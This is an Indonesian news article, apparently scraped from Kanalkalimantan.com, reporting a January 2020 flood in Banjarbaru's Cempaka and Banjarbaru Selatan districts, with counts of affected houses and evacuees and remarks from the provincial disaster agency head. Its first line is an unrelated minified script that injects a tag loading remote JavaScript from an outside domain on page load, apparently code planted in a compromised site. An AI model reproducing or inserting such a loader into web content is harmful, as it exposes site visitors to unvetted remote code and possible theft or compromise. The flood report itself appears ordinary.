(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Banjir besar di kota Banjarbaru, Minggu (5/1) pagi, mengakibatkan sedikitnya 456 warga terdampak. Setidaknya data sementara itu yang dihimpun Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalsel, hingga Minggu petang.
Ada dua kecamatan yang terdampak yakni di Kecamatan Cempaka dan Kecamatan Banjarbaru Selatan. Khusus di Kecamatan Banjarbaru Selatan, titik banjir berada di Kampung Pelangi, Kelurahan Loktabat Selatan. Kurang lebih 55 buah rumah warga terendam air dan berdampak kepada 193 warga.
Sedangkan, untuk di Kecamatan Cempaka sebagai lokasi banjir yang paling parah, terjadi di sejumlah titik. Adapun dintaranya, di jalan Kertak Baru, Gang Bahagia, meliputi RT 04, 08, 23, 24 dan 25, yang mengakibatkan 70 buah rumah dan 3 sekolah PAUD terendam air. Dalam hal ini, sebanyak 193 warga diungsikan.
Masih di Kecamatan Cempaka, titik lokasi banjir juga terjadi di Jalan Los Basung 1 dan Jalan Los Basung 2. Di titik ini, banjir menyebabkan 34 buah rumah terendam air dan 70 warga juga mengungsi sementara waktu.
Kepala BPBD Provinsi Kalsel, Wahyuddin, mengatakan hingga pukul 17.30 Wita, 5 Januari 2020, air telah surut. “Tinggi air sekarang sudah 30 centimeter atau di atas mata kaki. Petugas tetap standby di masing-masing lokasi,†katanya.
Dari pantuan Kanalkalimantan.com, di Kampung Pelangi, Kecamatan Banjarbaru Selatan, air telah surut total. Pun, aktivitas warga juga telah berjalan seperti biasanya. Hal yang sama juga nampak di Kecamatan Cempaka. Meski air masih menggenang di halaman rumah, warga memilih untuk kembali ke kediamannya masing-masing.
Wahyuddin menceritakan terjadinya banjir di dua Kecamatan ini, berlangsung dari pukul 09.00 sampai 10.00 Wita. Puncaknya banjir terjadi pada pukul 12.00 Wita, yang mana tinggi air saat itu mencapai perut orang dewasa.
“Ini akibat hujan yang deras sejak dini hari tadi. Sungai tidak mampu menampung debit air. Kalau di Kampung Purun, Sungai Kemuning. Sedangkan di Kecamatan Cempaka, Sungai Kuranji. Naiknya debit air pada pukul 06.30 Wita,†tuturnya.
Pada puncak banjir, ratusan warga banyak yang memilih untuk mengungsi di mesjid dan rumah-rumah kerabat mereka. Saat ini, BPBD Provinsi Kalsel berkerja sama dengan Dinas Sosial telah mendirikan posko dan dapur umum di Kecamatan Cempaka, untuk mendukung kebutuhan logistik warga yang terdampak. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota dalam kontestasi Pilkada 2024 di… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Puluhan rumah di permukiman padat penduduk Jalan Mendawai Induk, Kota Palangkaraya, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melalui Asisten Perekonomian dan Pembangunan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
This website uses cookies.